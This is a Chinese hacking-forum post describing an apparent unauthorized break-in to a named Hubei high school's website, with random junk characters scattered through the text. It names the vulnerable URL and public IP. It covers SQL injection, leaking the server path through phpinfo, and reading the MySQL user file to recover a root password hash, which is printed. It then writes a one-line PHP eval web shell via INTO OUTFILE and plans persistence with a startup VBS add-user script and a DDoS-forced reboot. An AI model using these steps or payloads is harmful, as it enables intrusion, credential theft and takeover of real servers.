友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
$ O/ k+ D# h* a" @8 _8 C3 ]发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！


5 r1 x4 s' L8 c9 T; g! x; Y& l
) e1 B3 N$ j- x4 M+ e- ^常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

试着爆绝对路径：
. G$ j, ~- X; @7 {1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
) v' }1 P/ U2 g" ~7 W# z, n5./phpmyadmin/libraries/select_lang.lib.php  
; F4 I( e8 U3 c# N: e% }) p6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
5 B" v1 P' O: _3 q& X8./phpmyadmin/libraries/export/xls.php  
& S: z. k; g1 u4 W- s
均不行...........................
& N$ `% x8 q; X0 A% |& d) d, q
$ @. x% e9 u2 b7 y$ D御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
1 U# U0 Q; [! p0 |* J
  m8 i4 b- |. Q  U; y4 |4 B% V9 Q权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
9 y+ P; M0 g' I3 A4 o! `
/ `' c* |* w! k2 a1 }7 q$ ?默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

9 U3 L, B: s5 T2 w: j敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
* Z4 `& I# Z+ v" p% i  a
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

. @1 b, A/ s1 R8 o! U0 t. f; Y自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
5 V6 E. s; ?' _$ X8 \
8 ~9 G- L9 K/ x9 I3 u6 ?成功读到root密码：
! c  Z, `+ l, }6 q* b" N( K3 ~
3 D( A8 J& b( v5 Q; B3 A  @4 X17---- r(0072)
0 v/ [& Y' B3 Q/ h% Q/ c6 n18---- o(006f)
19---- o(006f)
' q, Q$ {1 {! A+ I( l% ?20---- t(0074)
21---- *(002a)
/ Q  a" }8 m) R& n: t4 c! i22---- 8(0038)
23---- 2(0032)
* ^$ \0 c9 @8 e* d0 C& ^24---- E(0045)
25---- 1(0031)
- y6 Q1 k! Z# i7 z0 C7 [- c26---- C(0043)
27---- 5(0035)
28---- 8(0038)
4 i$ L8 \+ ?6 d$ n29---- 2(0032)
" l/ ]1 a) x0 d8 K' `4 G1 m1 F' v30---- 8(0038)
31---- A(0041)
32---- 9(0039)
1 i# X7 C! Q: h# j' M" X33---- B(0042)
34---- 5(0035)
) {. }! z( J3 E) x. e" j35---- 4(0034)
36---- 8(0038)
; v  f7 V$ J! Z' Z5 H7 @3 j5 g- ]37---- 6(0036)
5 E9 ~- [1 E) n9 d" h8 B38---- 4(0034)
39---- 9(0039)
! i; U  C5 u; B, r40---- 1(0031)
) B% u& g1 Q0 }( }# P, A41---- 1(0031)
42---- 5(0035)
2 }& M, S& p! }: c, i43---- 3(0033)
44---- 5(0035)
7 [% p& r1 z8 a$ }; g45---- 9(0039)
8 R5 k, f5 K# l6 p4 p) d46---- 8(0038)
3 L  V+ N) H: x( S* N47---- F(0046)
48---- F(0046)
49---- 4(0034)
1 B& U- ~8 J4 L3 r50---- F(0046)
0 l4 |7 N% C4 V51---- 0(0030)
$ J4 y0 A$ H: _+ `+ t/ o52---- 3(0033)
53---- 2(0032)
- {" K; D3 e( z3 o54---- A(0041)
55---- 4(0034)
56---- A(0041)
57---- B(0042)
58---- *(0044)
: }% w- G: n) O8 t; T: X! n  I: v59---- *(0035)
! i. K5 U9 l- H1 p60---- *(0041)
61---- *0032)
6 ^3 {1 d; e& |9 {$ p
* S: V5 I, F9 a解密后成功登陆phpmyamin
                          

                             
" u' C) o8 w6 y/ d6 z% e/ j7 b
! }% d9 c" l( V$ F; c找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

成功执行，拿下shell，菜刀连接：
  p3 Y: }" `; ~% @
服务器不支持asp,aspx,php提权无果...................

# L  y$ ~8 x2 n% B/ ^但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
$ `  A9 y. x8 C4 g注释     管理员对计算机/域有不受限制的完全访问权

# A) X1 K0 L! b( `# c9 W( R

成员

-------------------------------------------------------------------------------
1 X8 O& C1 f0 x/ }admin
  w6 W4 }+ L) ?+ x, b  y9 s! T9 ]Administrator
' S) }: f" Q: M6 o% L6 F- f8 {4 Pslipper$
- U1 M; U9 E4 w' N; V6 k% _sqluser
! ?% r6 z* i" E; ]' s. `命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

ddos服务器重启，不然就只能坐等服务器重启了...............................
- w' P6 f5 ~4 f& F
      

angel